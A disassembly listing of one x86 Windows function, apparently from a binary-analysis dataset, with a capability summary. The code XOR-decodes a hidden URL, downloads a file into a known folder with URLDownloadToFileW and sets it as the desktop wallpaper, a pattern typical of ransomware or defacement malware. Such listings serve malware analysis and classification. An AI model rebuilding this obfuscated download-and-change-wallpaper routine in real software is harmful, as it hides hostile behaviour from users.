Function at 0x40b090
Capabilities:
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40cba8
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1e8
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x5b
lea edi, [ebp - 0x1f8]
mov esi, str.YFGDF_f
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x410470]
xor ecx, ecx
cmp edi, 2
jl 0x40b210
movaps xmm4, xmmword [0x40dd70]
movaps xmm3, xmmword [0x40de30]
movaps xmm5, xmmword [0x40dd90]
movaps xmm6, xmmword [0x40ddd0]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x1f8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x1f8], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x1f0]
xorps xmm1, xmm0
movq qword [ebp + ecx*2 - 0x1f0], xmm1
add ecx, 8
cmp ecx, 0xb0
jl 0x40b110
cmp ecx, 0xb6
jge 0x40b23e
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul eax, eax, 0x33
sub edx, eax
add edx, 0x31
xor word [ebp + ecx*2 - 0x1f8], dx
inc ecx
cmp ecx, 0xb6
jl 0x40b210
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040b620
lea eax, [ebp - 0x48]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x40d280
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jns 0x40b275
mov esi, 1
jmp 0x40b555
movups xmm0, xmmword [str.mFVYE]
mov eax, dword [0x40dd3c]
xor esi, esi
mov dword [ebp - 0x54], eax
mov ax, word [0x40dd40]
mov word [ebp - 0x50], ax
movups xmmword [ebp - 0x6c], xmm0
movq xmm0, qword [0x40dd34]
movq qword [ebp - 0x5c], xmm0
cmp edi, 2
jl 0x40b393
movaps xmm2, xmmword [0x40dd70]
mov eax, str.mFVYE
movaps xmm3, xmmword [0x40de30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movaps xmm5, xmmword [0x40ddd0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40dd90]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x40dd80]
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm5
paddw xmm1, xmm0
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x6c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40dd90]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm5
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x64]
xorps xmm1, xmm0
movq qword [ebp - 0x64], xmm1
mov eax, 0xa0a0a0a1
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x33
sub ecx, eax
add ecx, 0x31
xor word [ebp + esi*2 - 0x6c], cx
inc esi
cmp esi, 0xf
jl 0x40b393
push dword [ebp - 0x48]
lea ecx, [ebp - 0x84]
call fcn.0040b620
mov esi, eax
lea edx, [ebp - 0x6c]
mov byte [ebp - 4], 1
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x40b3d5
mov eax, dword [esi + 0x14]
sub edx, ecx
mov ecx, dword [esi + 0x10]
sub eax, ecx
sar edx, 1
cmp edx, eax
ja 0x40b422
cmp dword [esi + 0x14], 7
lea eax, [ecx + edx]
mov dword [ebp - 0x4c], eax
mov edi, esi
mov dword [esi + 0x10], eax
jbe 0x40b403
mov edi, dword [esi]
lea eax, [edx + edx]
push eax
lea eax, [ebp - 0x6c]
lea ecx, [edi + ecx*2]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x4c]
add esp, 0xc
xor ecx, ecx
mov word [edi + eax*2], cx
jmp 0x40b434
push edx
lea eax, [ebp - 0x6c]
mov ecx, esi
push eax
push dword [ebp - 0x4c]
push edx
call fcn.0040b740
mov esi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
xor eax, eax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x70]
cmp ecx, 7
jbe 0x40b4ac
mov edx, dword [ebp - 0x84]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b4a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b4a2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040b8ff
add esp, 8
cmp dword [ebp - 0x18], 7
lea ecx, [ebp - 0x2c]
push 0
cmova ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 7
push 0
cmova eax, dword [ebp - 0x44]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x40b4f0
cmp dword [ebp - 0x18], 7
lea eax, [ebp - 0x2c]
push 1
cmova eax, dword [ebp - 0x2c]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x40b500
push dword [ebp - 0x48]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov esi, 1
jmp 0x40b50b
push dword [ebp - 0x48]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor esi, esi
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x40b541
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b537
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b581
push ecx
push edx
call fcn.0040b8ff
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x40b591
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b587
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b587
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040b8ff
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040b8b7
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret